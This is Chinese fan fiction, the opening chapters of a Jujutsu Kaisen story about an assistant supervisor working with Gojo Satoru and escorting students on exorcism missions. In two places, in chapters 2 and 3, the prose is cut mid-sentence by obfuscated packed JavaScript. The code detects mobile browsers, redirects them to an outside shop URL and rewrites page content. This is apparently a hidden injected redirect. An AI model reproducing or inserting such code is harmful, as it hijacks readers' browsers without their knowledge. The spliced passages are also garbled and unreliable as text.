《[综咒回]五条悟的辅助监督不好当》 1. 第 1 章 事故现场外圈的二级封锁线撤下时,天已经暗了。 东京郊外的住宅区被亮起的白色路灯照得惨白,断裂的水泥墙体像被粗暴掰断的动物骨骼,横七竖八地躺在地面上。咒灵消散后残留的咒力还没完全散去,空气里是混合着腥气与不洁的气息。 里见时雨站在废墟的中央,拿着电子笔在刚拍完照的平板上记录着现场的情况。 “损坏房屋三所,林地三亩,车辆五辆……”女生清冽的声音响起,平淡地一项一项报着今日份损失。 “抱歉抱歉,不小心动静闹得大了点。” 男人的声音从斜上方传来,拖长了语调的声音多少透出几分漫不经心。 时雨侧转过身子,抬起头。 白发男人斜靠着在二层摇摇欲坠的阳台扶手上,一只脚甚至直接踩在了裸露的钢筋上,姿态却闲适得仿佛正在自家阳台看夜景。男人一点点往自己的眼前缠绕上白色的绷带,掩盖住最后一丝外泄的蓝色眸光。 “毕竟那家伙的术式还挺有意思的,会读取人的记忆生成幻象诶,时雨不觉得很有意思吗?” 路灯的灯光照亮了这个口里说着抱歉、神情实则没有半分反省之意的男人的侧脸,另一半的脸却掩在了黑暗中。时雨目光在他明暗交替间更显得棱角分明的脸上停留了两秒,指尖在平板的边缘轻轻敲了下,咽回了一句不合时宜的疑问。 短短半年的相处,说长不长,说短也不短,足够时雨认知到面前这个最强的男人看似轻佻随性的面孔下隐隐的拒人千里之外。 ——那么五条先生看到的是什么幻象呢? 大概只会被四两拨千斤地岔开话题吧。 时雨抿了抿唇,合上平板。她朝着面前即将瓦解的建筑伸出素净的手,指尖朝向残缺的墙面。细碎的裂痕随着时雨所指之处缓慢收拢,钢筋重回墙内它原处的位置,断裂的楼板也重新回到齐平地面的方向,直至最后墙面剥离的碎片一点点贴回,不留下半点斑驳的痕迹。 房屋恢复如初的瞬间,风声仿佛都骤止片刻。 白发的男人轻巧地落地,几乎没有溅起一点尘埃,抱着胳膊站在时雨身侧,夸张地拖长了音调:“诶——每次看都还是觉得很像按了游戏里的回档按钮诶,不过多亏了时雨,我又省下了被校长大叔念叨一顿。后面报告就交给你啦~” “读取记忆听着明明是可怕大于有趣,我没有类似被当众翻阅日记本这样的羞耻爱好。”时雨平静开口。 “下次用无下限术式发大招之前还请五条先生注意下范围,被咒力损坏得再多一点就没办法‘读取存档’了。” 她顿了顿,又补上一句,“与其担忧被夜蛾校长念叨,下次还请您等帐落下再放「苍」。差一点没有赶上,我都已经想好辞职报告怎么写了。” 时雨一条条回复着五条悟前面的话语,最后才抬眼看他,琥珀色的眼眸里盛着纯粹的疑惑,“至于报告,您有写过这种东西吗?” 五条悟向后伸了个懒腰,理直气壮,“最近都没有!” 他闲散地转了转上身,仿佛方才和那个即将荣升特级的咒灵的战斗也不过是小小的热身一般,“有时雨在真是省了不少麻烦,要是每次都带着时雨的话,我应该能省下不少来自那群老头子的念叨诶。真是要发给伊地知看看,让那家伙好好反省反省啊~” “那样的话五条先生出手会更没有分寸。”五条悟对于咒术界的高层不敬的口吻,时雨已经能做到充耳不闻,只是替前辈同僚浅浅抱了个不平,“放过老实打工人伊地知先生吧。” “诶——?这是指控我吗?” 时雨重新点开平板,翻出一个满是近期任务及灾后受损统计的表格,转向了五条悟的方向,“非要说的话,是客观事实。” 毕竟那条代表着五条悟的蓝色线条虽然处理的任务量一骑绝尘,后面紧追着的灾后修缮金额其他咒术师也望尘莫及。 真是特级在了方方面面。 五条悟不由笑出声,低下目光,隔着绷带看向金发少女的方向,换了话题,“过会儿直接回高专?” 时雨颔首,“要去一趟硝子前辈那里,有个孩子需要处理记忆。” “还真是物尽其用啊。”五条悟挑眉,拿起手机看了几眼消息,“外勤期间,其实可以拒绝一些额外的常规工作哦。” “只是今晚恰好要回高专,明天一早要送一年级的几位去出个任务。”时雨犹豫一秒,还是补充道,“但还是谢谢五条先生提醒。” “好啦,那你自己注意时间,不要年纪轻轻就过劳死了哦。”五条摆了摆手,没有继续评价,又在看完消息后撇了撇嘴,语气中多了几分不耐烦,“一小时前发生了一起空难,是国际航班,飞机上有两百多人,老橘子们让我去现场看看有没有咒力残秽。啧,真是麻烦……” “不要过劳死这一点和您共勉。”时雨点头,“伊地知先生已经在门口等您,车上有上次您说路过想吃的巧克力松饼。” 五条悟顿住一秒,随即嘴角上扬,明明眼睛都已经被遮掩在了绷带之下,却依旧好像能看到他笑到挑眉的模样。 “谢啦,要是每个辅助监督都和时雨一样贴心的话,说不定我会愿意多出几个任务哦。”话音未落,他很顺手地拍了下时雨的肩膀,转身迈着长腿准备离开。 “劳动五条先生的任务还是越少越好吧。” 时雨悄声嘟囔了一句,站在原地目送着男人的身影消失在夜色里,这才不动声色地松了一口气。 回到高专的时候,这座位于东京郊外的学校已然被如水的夜色浸润,只有宿舍楼和医疗室的少数几扇窗户还透露出些许光亮。 家入硝子所在的医疗楼,平日里是各位高专人员受伤的诊疗处,偶尔又会作为因为一些特殊案件死亡的人的解剖处。明明应该是想到就安心的存在,但大多数人恐怕都宁愿自己不会有来到这里的机会。 自动感应的大门在时雨面前打开,走廊里弥漫着淡淡的消毒水气息,掩盖住了还未消散干净的血味,还夹杂着一丝浅淡的烟草味。 时雨推门进到房间里的时候,家入硝子正坐在窗边的椅子上,腿搭在桌沿,手里夹着一支没点燃的烟,低头翻着一份报告。 “硝子前辈。”时雨朝着家入硝子打过招呼。 “来的比预估要晚一些。”家入硝子朝时雨扬了扬手,没有抬头,继续看着手中的报告,“是五条又闹出了什么大动静吗?” “在五条先生看来,大概只是一如既往的小场面。”时雨悄悄撇了撇嘴,“总归是处理完了。那个孩子呢?” 家入硝子指了指旁边半掩着的门。 “是七海出任务的时候遇到的孩子,只是他赶到的时候,孩子的父母已经……”她咽回一声几不可闻的叹气,“孩子是最容易受到咒灵影响的,也比一般的成人更容易看见所谓不干净的东西,所以大概吓得不轻。” 时雨听着家入硝子的解释,放轻了脚步,走进那个小小的隔间,坐在了孩子身边的床上。 看着只是个四五岁的孩子,大概是哭过了很久后终于力竭睡去,眼皮都带着明显的红肿,呼吸里还夹杂着几分抽噎,彰显着曾经声嘶力竭的哭喊。头发也被惶恐的汗渍浸透,无精打采地搭在额头。 显然这孩子还处于余威未尽的惶恐之中,哪怕时雨已经放轻了动作,那双困倦到极限的眼睛还是在察觉到的瞬间努力睁开,警惕而茫然。 对上那双充盈着惶恐和不安的眼眸,时雨露出一个安抚的笑容,摸了摸孩子的额头,像是在确认着孩子的体温,“你好,我叫时雨。” 或许是她的声音过于温和,孩子的紧绷的肩膀微不可查地松了一些。 “可能会有一点困。”时雨柔声道,“但醒来之后,那些可怕的东西就都会消失了。” 孩子似懂非懂地点点头。或许并没有完全明白面前这个姐姐在说的是什么,但却下意识伸手抓住了她的袖口,隔着衣袖传来一点温度。 时雨微微一怔,随 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“四岁的孩子而已,还不算是完全记事的年纪,大脑出于防御机制,大概也会下意识迫使他遗忘这些残忍的过往。至于看到了怪物,不过是小孩子受惊之后的胡言乱语——大部分的大人应该都会这么觉得吧。” “这是硝子前辈的试探吗?”时雨难得露出一份孩子气地皱了皱鼻子,不太开心听到硝子口是心非的话语。 “我虽然并不认为咒术师就是为了拯救和保护非咒术师存在的,但如果能够让这些无辜的人少一些折磨,倒也算是不枉神明大人赐给我的这份能力。” 她悄悄斜了眼硝子,目光在她青紫色的眼圈上停留片刻,“但我也一直知道,力所能及的范围终究有限。倒是硝子小姐,反转术式固然稀缺,但现在的医疗也已经可以治疗大部分常见的伤势,不必要强揽着这么多担子在自己肩头才是。” “小朋友吗,还信奉神明大人?”硝子往后靠在椅背上,轻笑,“不过是说了一句你不爱听的,这就连前辈都不叫啦……” 时雨弯起眼眸,在咒术界少见的女性前辈面前略微放松了些许,“反正硝子小姐也不是这么在意前后辈之分的人。” “到底是国外长大的孩子……”硝子捏了捏眉心,感叹着时雨和其他初出茅庐的新人的不同。 明明听说是大学毕业加入咒术高专后才接触到咒术界的新人,对于这个过于光怪陆离的世界却没有多少惶恐,只是安静地观察着,偶尔在自己的本职之外不算破格地插上一手。 哪怕是已经接触这一行多年的伊地知,对待上层的一些问询仍会多少带几分惶恐,初出茅庐的时雨面对上层对于五条悟行事的各种试探和质疑,却依旧能够不卑不亢,仿佛面对的不过是社会地位相仿的普通长者。 明面上并不会过分袒护五条悟和高专的学生,但又颇有几分不符合年纪的滴水不漏。但尽管如此,她似乎也从来没有考虑过,在天平悄悄倾斜向以五条悟为首的年轻一派后,是否会让她失去这份工作,或是陷入更多的麻烦旋涡中。 大概,是被爱滋养着长大的孩子吧。 从医务室走回宿舍的路上,手机微微震动,屏幕上浮出一条消息预览。 「妈妈:[图片] 今天的夕阳。」 时雨松开因为一天的疲惫而蹙起的眉头,点开母亲发来的消息。图片里是映照着彩色房屋的静谧湖水,夕阳沉默地悬于水面边缘,光线柔软地好像要满溢出来。拍照的人约莫是坐在草坪上,入镜的还有前方金发男人的半个侧影。 原来欧洲也已经差不多是落日时分。 回完母亲的消息,时雨强撑着快速洗漱完,一头栽进了高专宿舍的床里。 窗外树影婆娑,隐约夹杂着几声乌鸦的啼鸣。意识沉入睡眠的前一刻,她的脑海里还闪过了刚才母亲发的带夕阳的照片。 有点想家了,想念爸爸妈妈在的地方。 ——所以,等她找到村雨的刀鞘,就可以…… 2. 第 2 章 第二天一早,时雨睡眼朦胧地在闹钟声中醒来,在床上呆坐了几分钟后,才缓缓进入洗手间洗漱。 将凌乱的碎发梳理整齐,又从宿舍的冰箱里掏出一个饭团加热。等到时雨用完早餐走出宿舍楼,恰好遇上从隔壁学生宿舍楼匆忙跑来的熊猫和乙骨。 时雨抬起手表看了一眼,“距离集合的时间还有两分钟,所以不用着急。” 乙骨这才松了一口气,抱着手中的咒具露出一个不太好意思的笑容。 坐上车,时雨打开导航软件。后座却传来熊猫和乙骨细微的动静声,像是在确认什么新奇的发现。 “看上去是普通的轿车,但后座意外非常宽敞,连熊猫都能够轻松坐进来。”乙骨侧身看着容纳熊猫都绰绰有余的后座空间,一脸疑惑,“这也是里见小姐的术式吗?” 正在设置导航目的地的时雨一本正经地接话,“无痕伸展咒哦。” “诶,有这种咒术吗?怎么听着有点耳熟?”乙骨疑惑。 熊猫沉默一秒,无言地拍了拍乙骨的肩膀,“忧太是没看过《哈利波特》吗……你这样真的很容易被人骗诶。” 大号玩偶一样的黑色手掌指了指后排座椅下方固定在两侧的两张符纸,“是咒符的效果啦。是时雨画的吗?” 乙骨忧太“啊”了一声,才反应过来前座神色如常的辅助监督小姐的玩笑。 时雨被乙骨忧太的反应逗地笑了一下,应了一声,启动了车辆。 熊猫却是若有所思。 虽然不是什么难度很高的咒符,但要长期维持咒符的咒力、保证咒符效果的稳定运行,还不干扰车辆本身的正常运作,这应该也不是随便拉一个辅助监督就能做到的事情。 “时雨来高专多久了?”熊猫像是随口一问。 虽然还是第一次单独陪同一年级出任务,但毕竟同处高专,多少也在一些任务场合或是咒术界的会议上相遇过,也彼此打过招呼。时雨对于熊猫非常熟稔地直呼名字这一点适应良好。 “去年十一月到现在……”时雨略微思索了下,“已经有大半年了。” “里见小姐一直是跟着五条老师出任务吗?”乙骨忧太有些好奇,“因为好像没怎么遇到过您带我们出外勤。” “大部分时间是和五条先生一起,毕竟用五条先生的话来说。”时雨清了清嗓子,模仿得像是某个带着眼罩的家伙亲临,“学生们都是咒术界宝贵的未来啦~” 下一秒,又回到了自己平日的语调,“尤其是一年级还刚踏入咒术界的高专学生们,一般都是派更有经验或者同是高专毕业的辅助监督陪同,避免意外情况的发生。” 时雨悄悄撇了撇嘴,补充道,“所以,以往是伊地知先生带大家更多吧?” 乙骨忧太恍然,对于这位非咒术高专背景出身的辅助监督,他也略有耳闻。 毕竟咒术界更像是一个闭锁的小圈子。在职的咒术师数量本就不多,在职的咒术师基本不是高专背景,就是几大咒术家族的后裔,鲜少有例外。 哪怕是辅助监督,也更多是相较于一线战斗、更擅长后勤辅助的高专毕业生担任,像时雨这样在本该已经高专毕业的年纪忽然冒出来加入了咒术高专、又成为辅助监督的存在,多少有些另类。 乙骨隐约有听和校长关系亲密的熊猫八卦时提起过,这位里见小姐好像也是什么有权势的人引荐进咒术高专的特殊存在。 看着大大咧咧的熊猫,却是忽然咧嘴一笑,“那看起来,时雨已经得到了悟和正道的信任哦。” 时雨一怔,在后视镜里对上了那双被黑色绒毛包围着的眼睛。 得到了信任吗…… 车子大概开了半小时左右。从高专所在的郊区一路驶入市区一角,在短暂的繁华街道过后,道路两侧的建筑又逐渐破败了起来,逐渐变成了荒草与废弃的厂房交织的边缘地带。 纵然路上目之所及没有任何车辆和行人,时雨还是规矩地在红灯前停下车,又趁着红灯的间隙向后座递去一个平板,“这次的任务评级是二级。” 虽然是特级但经验不足的特级乙骨忧太,搭配准二级但经验丰富的熊猫一起,常理来说任务的难度不成问题。 后座的乙骨接过平板,和熊猫一同安静地听着时雨的任务介绍。 “地点是前方两公里处的废弃游乐场。”红灯跳跃几下,又重新变绿,时雨随之启动车辆,“一年前停止运营,但因为负责这片区域拆迁翻新的集团出了资金问题,所以一直废弃至今。” 乙骨滑动着平板上的图片,蒙了一层灰尘的LED灯柱,褪色的旋转木马,还有门牌已经垂落了一半的惊魂鬼屋。这个曾经或许充盈着很多孩子快乐回忆的地方,已经随着一个时代而谢幕。 不过是这个快速发展的时代下小小的一角缩影罢了。 “大约三个月前开始,附近陆续出现了几起孩童受惊后精神异常、幻听幻视乃至沉睡不起的案例。一周前,一名误入的流浪汉在现场受伤,确认遭遇了咒灵的袭击。”时雨补充道。 熊猫挠了挠头,“游乐场这种地方,尤其是过山车、鬼屋这种刺激性的项目,本来就容易让不懂得控制自己咒力的普通人咒力外泄,形成诅咒倒也并不令人意外。” 一边驾驶着车辆拐过最后一道弯,时雨一边补充着,“确实,经窗口多次确认,游乐场的诅咒应该位于鬼屋内,应该拥有‘精神系’的术式,所以对普通人的影响更大。” 时雨把车停在入口外侧,下车时,脚踩在碎石与枯叶混杂的地面上,领着两人朝着游乐园的入口走去,“就是这里了。” 锈蚀的铁门歪斜地敞开着,门上原本鲜艳的游乐场招牌只剩下一半,褪色的卡通形象露出斑驳的裂纹,迎着风声发出些许诡异的声响,送来空气中混杂着奇怪甜腻的铁锈味。 “多次确认?”熊猫捕捉住了奇怪的字眼。 “开始几次窗口的人并没有发现诅咒的位置,后来一名四级咒术师的协助下才终于确认,但因为超出了能力范围,所以作了上报处理。”时雨所见略同地看向熊猫,“所以应该是具有一定隐匿能力的诅咒,但鉴于目前还没有造成任何人员的死亡,等级暂时被评定为二级。” “明白了。”乙骨点头。 “另外,五条先生还让我提醒乙骨同学一句……” 乙骨跟在时雨身后,抱住咒具的手紧了紧,“我知道的,不会让里香出来。” 短短十几米,已经到达了游乐园的入口处。 时雨停下脚步,抬起手低声轻念,“由暗而生,暗中至暗。污浊残秽,尽数祓除。” 咒力如水般四散开,笼罩住整个废弃的游乐场,日光都仿佛暗淡了几分。 “如果有问题的话,请随时联络我。我会在出口这里等你们。”时雨侧身让开道路给乙骨和熊猫。 “那么,祝两位——武运昌隆。” 两位一年级的身影隐匿于深色的帐内侧。明明还应该是刚入学高中的年纪——如果熊猫也能够正常升学的话,放在普通的社会大概会被举报童工的程度,在咒术界却已经是合格的任务执行者。 拥有超出常人的咒力,就意味着随之而来的责任。 拥有咒术本身,又何尝不是一种诅咒。 时雨看着两人的背影,漫不经心地想着。 而在非咒术师的眼中,此刻破败的游乐园门口,也只有一个金发的年轻女生一个人孤零零地站着,不知在等待着些什么。 门口的梧桐树影轻轻摆动,一只黑色的鸟儿轻巧从枝头滑落,轻轻落在时雨的肩头。 时雨却并没有几分意外,顺手摸了摸乌鸦的羽毛,语气里多了几分亲昵,“刚开车的时候就好像看到好像一路都有乌鸦跟着在飞,原来是你也跟来了呀——村雨。” 被称作村雨的乌鸦颇通人性地啄了啄时雨的头发应和。 “要是村雨能够说话就好了,这样每次出任务在等待的时候还有人,唔,有鸟可以陪我聊天解解闷。”时雨从门口退开些许,边信口和乌鸦聊着天边打量着游乐场边缘的咒力残余,“现在显得我像是自言自语一样。” 平日里努力平稳着声调像是个成熟职场人的时雨,在和乌鸦对话的时候倒是更为放松,隐约透出几分年轻的鲜活气来。 “不要再啄我头发啦……”时雨笑着推了推村雨的脑袋,“我也知道村雨是因为刀鞘在百年前的封印中失踪,所以力量耗尽后一直恢复缓慢的原因嘛,我会努力帮村雨找到刀鞘的。” 村雨像是点了点头,又歪了歪脑袋。 “八房今天不在哦,最近都在父亲身边。”时雨半蹲下身,低头仔细打量着地上的咒力残秽,捻起一抹染着残秽的泥土放在鼻尖轻轻嗅闻了一下,这才若有所思的直起身来。 像是过期的糖果,甜腻中又带了几分蛊惑人心的味道,透着些许令人不悦的气息。 时雨回到车边,静静等待着熊猫和乙骨的动态。 帐的内侧,在近几个月对咒力的使用愈发成熟、体术也在同年几位体术高手的操练下成熟的乙骨也逐渐彰显出了自己在咒术方面的天分,多了几分游刃有余。 和看上去笨拙但实则灵巧的熊猫一起搭配,两人很快就在鬼屋里寻找到了那个二级咒灵的踪迹。虽然拥有精神系术式的咒灵多少让两人想起了些许不那么愉悦的过往,但一个本就是不同于人类的咒骸,另一个则拥有着特级的精神力,在短暂的被迷惑后便挣脱出了咒灵营造的恐惧,不过十余分钟就将咒灵祓除于账内。 从内向外推开鬼屋的门,帐感知到作为威胁的咒灵的消失,缓缓升起,几束日光骤然从云层后倾泻而下,重新裹住游乐场。 骤然回到阳光的怀抱,熊猫和乙骨情绪都放松了些许。 “这次的任务,倒是意外的顺利啊。”熊猫拍了拍乙骨的肩膀。 乙骨不好意思地笑了笑。相较于前两次跟着真希出任务时不得不放出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“糟了!”熊猫和乙骨异口同声,想到了游乐场门口的辅助监督小姐,紧跟着朝着出口的方向狂奔,却也只能眼看着那漂浮的咒灵逐渐向着辅助监督的方向越靠越近。 “里见小姐/时雨——!” 而看着帐缓缓升起的时雨,正半靠着车门,在随身的记录板上记录着咒灵祓除的时间节点。 笔尖在纸面上停顿了片刻。 风声变了。 那股不喜人的气息骤然逼近。肩上的村雨张开翅膀,发出一声尖锐的啼鸣。 几乎就在同一时间,时雨单手抱住记录板,向左前方踏出了半步。 她自然地抬起手,食指和中指熟稔地轻触,在空中划过一道弧线。迎面吹向她的风倏然止歇,更多的气流从地面被卷起,仿佛被压缩后用原本数百倍的速度重新施放回了咒灵来处,隐约掀起一道锐利的弧光。 风刃在眨眼间就已然将还未来及施放任何术式的咒灵生生从中劈裂成了两半。 脚下的落叶被卷带到了半空,和那猝不及防被斩中咒力核心的咒灵一起,又打着转儿轻飘飘地落在了地上。 琥珀色的眼眸抬起的时候,咒灵的残秽已经随着风一点点消散,昭示着彻底的祓除。而几步之外的地方,是刹车不及还带着几分气喘的乙骨忧太和熊猫,嘴里还挂着半句没来得及咽回去的提醒。 “小心……危险……?” 配上和肩头的乌鸦一同歪头看向两人的辅助监督小姐,让这句迟来的提醒显得多少有几分荒诞。 “原来辅助监督也是要有这样的战斗力的吗……”这是咒术界的新人乙骨忧太同学有些茫然的疑问。 熊猫却是在时雨和地上的咒灵残秽之间扫了几个来回,毛茸茸的脸上意外露出了一个意味深长的表情,“难怪是悟放心派来跟忧太一起出任务的辅助监督哦……” 时雨不自在地摸了摸鼻子,将话题扯回任务本身,“所以,是有两个咒灵?” 乙骨点头,简单和时雨描述了刚才的情况。 “一个咒灵负责引诱和恐吓,一个咒灵则以被引诱至鬼屋后受惊产生的恐惧为食,因为形成了很好的合作,所以之前被窗口误判成了一个咒灵。” “为了隐匿咒术师战斗而施放的帐,一般只能监测到四级以上的咒力的咒灵。而类似蝇头的低级咒灵通常不会对人类造成直接伤害,所以一般也不在帐的范畴中。”时雨蹙起眉,沉思中脸上多了几分不愉,“第二个咒灵除了隐匿性强,还具有分身的能力,因而将自己的咒力分散,被帐识别成了低级咒灵……” 但这个等级的咒灵,不知是如何探知到辅助监督常放的帐的局限的? 再者说,如果今天站在这里的不是她…… 无论是辅助监督的伤亡,还是咒灵的逃逸,恐怕对于接到任务的咒术师来说都不见得是什么好解释的事。 时雨目光在余惊未定的乙骨身上轻轻带过。 ——是巧合吗? 在手机上快速发了条讯息,时雨打开车门,“先回高专吧。” 3. 第 3 章 目送两位一年级的学生回到宿舍区域,时雨打开手机,按着最上面消息回复的教室,前往教学楼区域。 楼梯上遇到了带着一脸疲惫正从上向下走来的伊地知,互相停下脚步打了声招呼。 “刚结束任务吗,伊地知先生?”时雨看着对方眼下的青黑问道。 “昨晚的空难事故虽然不是咒灵导致,但因为恐慌和悲伤等逸散的情绪太多,滋生了好几个特一级的咒灵,又因为相关人员太多,疏散困难,所以直到今早才处理完毕。”伊地知疲惫一笑,抱怨也是点到即止,“比起我,应该是五条先生更为辛苦一些。” 毕竟轮到五条来处理的,从来也不是什么轻松的差事。 一边要处理特一级的咒灵,一边还要避免现场的民众受到再度的恐慌,怎么想也算不上什么轻松的差事。 “真是辛苦了,伊地知先生。”时雨感同身受揉了揉眉心。 道别了伊地知,时雨上楼后转弯,来到角落属于五条悟的办公室。门只是虚掩着,被走廊吹来的风又带开了几分。 角落的办公室有着两面很通透的窗户,今天算不上浓烈的日光透过窗户洒进来,半照在办公桌后的男人身上。 虽然是初夏,但坐落于山中的高专却并算不上炎热,半开着的窗户和透过门传来的自然风形成了对流,带走了几分暑热。哪怕是正午的日光,经过几层树影的过滤,完全脱离了灼热,配上窗外的蝉鸣,多了几分催人入眠。 五条悟正靠坐在看着就价值不菲的皮椅上,双臂环抱在胸前。白色绷带挡住了他的眼睛,但从男人均匀的呼吸和半仰靠在椅背上的姿势来看,大概是正在小憩。 短短半年多的时间里,时雨也算跟着五条悟出了不少的任务,对于五条悟的日程表也有所了解。这位最强的咒术师,日程表的强度也是名副其实的最强。 大部分的任务由伊地知和后来加入的她轮流一起先进行过一轮过滤,但也时常会有其他咒术师解决不了的任务在升级后被转手给他处理。如果不是因为有反转术式,哪怕是咒术师强化过的身体恐怕也难以为继,睡眠时间也少得令人发指。 最强也是会累、也是需要休息的。 看着男人被包裹在高专制服下随着呼吸起伏的胸膛,时雨的思维也随着窗外的蝉鸣发散开来。 ——应该拍下来给那些自诩咒术界高层的冠冕堂皇的家伙看看的。 ——不过看了大概也不会有任何惭愧之意,只会觉得这是最强应该要承担的吧。 ——高专的制服在这个人身上怎么都穿得像是什么高定一样。 ——这双腿都快溢出去了吧。 “盯着男人睡觉可不是什么好习惯哦……”男人因为睡意而裹上了几分慵懒沙哑的声音忽然响起,把时雨的思绪从漫无边际的杂思中捞了回来,“很痴汉诶。” 沙发椅上的五条悟不知什么时候醒来,左手掀开了绷带的一角,露出半只蓝眼睛,直直望着站在他身前的时雨。那蓝色像是一望无垠的苍穹,又仿佛日光下的果冻海,青蓝交织的深邃瞳色每次见到都会让人恍惚片刻。 时雨眨眨眼,把目光从不知不觉的对视中抽离,转身到墙边的饮水机接了两杯水,又递了一杯给已经从椅子上站起身、伸起了懒腰的五条悟。 “谢啦。”已经又老实放下绷带的五条悟接过杯子喝了一口,“不过应该要先双手给上司递茶再去倒自己的才符合礼节吧。” 时雨下意识睁大眼,露出一个“真的假的”眼神,“哈?” 自从五条悟和家入硝子知道她自小海外长大,对于日本的生活习俗和文化不甚了解之后,时常冷不丁冒出几句半是解释半是逗弄的科普,让时雨难辨真假,不知是否该认真对待。 而显然这两人也从时雨的反应中收获了不少乐趣。 “‘哈’这个语气词,对于这个国家的女性来说,也不是什么礼貌的语气词哦。很大叔诶。”五条悟看着时雨惊讶中还带着几分警惕的眼神,体会到了逗猫的乐趣,禁不住拿杯子抵住下巴笑出声。 直到看到时雨眼神死的表情,才稍稍收敛了一点,揉了揉时雨的脑袋,“好啦好啦,知道时雨眼睛大,翻白眼真的超——明显诶。”说完又忍不住“噗嗤”一声。 对于某些人奇怪的笑点——或者说成为某些人的笑点这件事,时雨也算实践出真知,逐渐习惯,奉行“不搭理不接茬”原则,只是面无表情地打掉了放在她头上的大手。 于是时雨站在窗边喝着手中的水,任由旁边的男人放肆笑了一会儿之后,才缓慢开口交代着今天上午的任务情况。 “总之,咒灵都有被祓除,两位一年级也都没有受伤,安全回到了高专。”时雨结语道。 听完事件汇报的五条悟手指下意识点着杯沿,嘴边依旧噙着几分笑,只是心情明显已经不如一刻之前,“无论是有心还是无意,看来上层的那些老家伙们还是没有完全放弃要杀掉忧太。控制不住的东西就宁愿抹杀,真是一群废物老橘子。” 时雨摸了摸鼻子。每次听到老橘子这个形容词,再想到那群确实大部分面皮都已如同失去水分的橘子一般褶皱了的咒术界高层,她都有种忍不住边敲木鱼边笑的冲动……怎么可以这么贴切啊。 只是毕竟有惊无险,也没有对学生造成任何威胁,五条悟这次很快收拾好了心情,侧转身子半靠在窗台上看向时雨,“所以最后是时雨解决了那第二个有分身能力的咒灵?” 闻言,时雨沉下嘴角,“是,用您见过的风刃。虽然是可以躲过的攻击,但考虑到这个咒灵的隐匿性,避开之后再捕捉他的踪迹或许要费些功夫,周围群众又没有完全疏散干净,就下意识出手了。” “你的小乌鸦没有出手吗?”明明戴着绷带,脸也看向的是时雨的方向,时雨却完全不怀疑这个男人那双神奇的眼睛,大概一直将窗外梧桐树上的乌鸦的一举一动收入眼中。 “没有。”时雨摇头,“还用不着村雨出手的程度。” 澄澈的琥珀色眼眸看向五条悟,“五条先生您之前说过,为了不过分引起那些高层的注意,对外我最好还是扮演好纯粹的辅助监督角色,不要展示记忆修改和物品恢复以外的能力。”时雨轻咬了下嘴唇,“会有什么麻烦吗?” “放心好啦。”五条悟勾了下唇角,“一个普通的二级任务轮不到上级来过问什么。那群老家伙如果真的干预了什么,恐怕更是做贼心虚一样巴不得撇清关系,离现场越远越好。既然没有上报咒灵逃避或是辅助监督的伤亡,只要你的报告里让忧太帮忙背个小锅,不会有人想要趟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290088|198490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这趟浑水的。” 与其说是不愿意淌这趟浑水,倒不如说哪怕是咒术界那群高层,也不愿意明面上和护佑着高专学生们的五条悟作对吧。时雨悄悄腹诽着。 但时雨总归是松了口气。咒术师毕竟是稀缺资源,虽然展露了能力对她本人而言并不会有太多的负面影响,但考虑到她还需要辅助监督这份信息中枢的工作来获得村雨刀鞘的消息,以及能力暴露后或许会对一直关照她的那些人带来的麻烦,短期内她还是准备捂好自己的小马甲的。 “不过——这样不是很好吗?”五条悟放下水杯,双手撑在脑后,拨弄着束缚在脑后的绷带。 “什么?”时雨对这没头没尾的一句表示不解,下一秒却又对上了那双蕴着苍穹的眼睛。 绷带悄然被他解开,随意地握在手里。失去束缚的白发不复竖起时的桀骜,垂下来的造型莫名添了几分乖巧。他甩着手里的绷带,朝着时雨凑近弯下腰,天蓝色的眼睛距离忽然就拉近了。 ——比起无下限和六眼,这人的脸才是最大的杀器吧。 ——这张脸就是混进自己的学生队伍里也毫不违和吧? 时雨闭了闭眼,忍住后撤一步的丢人冲动,“请不要像猫一样突然凑近,很吓人。”又在某人又要接上些什么令人血压暴涨的话语之前,快速将话题拉了回去,“为什么五条先生觉得很好?” 五条悟瞥了眼金发掩映间微粉的耳尖,含着几分笑意眨了眨眼,大发善心地直起了身,拉开了一点距离,“我不是说这个任务。” 他毫不躲闪地看着盛满疑惑的琥珀色眼眸,“是在说时雨哦。”他把绷带缠在了手腕上,又从口袋里掏出了自己的墨镜,在手里转着,“刚来高专的时候,看着明明比起那些小鬼也大不了几岁,却总是一本正经假装大人的稳重样。戒心还超级重的诶,什么都不肯说。还被高专和老橘子两头怀疑了好一阵是吧?闹得自己还发了好一通脾气。像现在这样,遇到不确定的事情来找老师撒个娇求个助不是也很好吗?” 时雨一言难尽地沉默了几秒。果然是不能指望五条悟说出什么好话。 “我已经大学毕业了,不用‘假装’大人。” “刚来高专的时候,明明五条先生才是最不信任我的人。” “非要说的话,您是同僚也是上司,但不是我的老师。对着我自称老师也是职权骚扰的一种。” “以及……我没有在撒娇。” 看着时雨一条一条一本正经地回复他,五条悟不知道哪里的笑点又被戳中,托着下巴又笑了一阵,“真是超记仇诶,一点都不服输。我那个时候倒是无所谓啦,忽然有个人空降要来高专,听说还是什么人推荐的关系户,直接就信任才有鬼吧?但也谈不上不信任啦,毕竟我是最强嘛,实在看不顺眼打一顿退回去又能怎样。好啦,别瞪我,这不是也没有打过嘛——指导体术除外的话。” 五条悟终于放过了手中的墨镜,把它架到了鼻梁上,最后还是没忍住又拱了个火,“但时雨没否认当时闹了脾气诶。” “五条先生。” “嗯?” “翻人黑历史真的很没品。” “真的承认了诶……” 时雨捏了捏自己的眉心,脸颊微烫地回想起去年冬天的记忆。 4. 第 4 章 那是在去年的冬天的长野。 